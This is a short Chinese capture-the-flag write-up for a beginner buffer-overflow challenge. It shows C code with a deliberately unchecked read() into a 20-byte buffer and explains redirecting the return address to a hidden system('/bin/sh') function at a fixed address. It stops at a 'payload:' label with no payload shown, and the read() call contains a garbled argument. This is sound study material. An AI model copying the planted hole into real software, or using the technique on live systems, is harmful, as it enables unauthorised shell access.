攻防Project1 Writeup

第一題:BOF easy [ pwn ]

題目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
void l33t() {
puts("Congrat !!Congrat");
system("/bin/sh");
}
int main() {
char buf[20];
puts("Buffer overerflow is easy");
printf("Read your input :");
fflush(stdout);
read(fflush0,buf,100);
return 0 ;
}

解題思路

l33t()中有system(“/bin/sh”),所以目標就是執行l33t()
由code可知buf長度20,但read()讀100個bytes,代表這裡可以buffer overflow
並且這題沒有ASLR,所以用objdump可以找出l33t()的address為0x80484fd
接著,只需要將main()的return address蓋成0x80484fd即可
payload: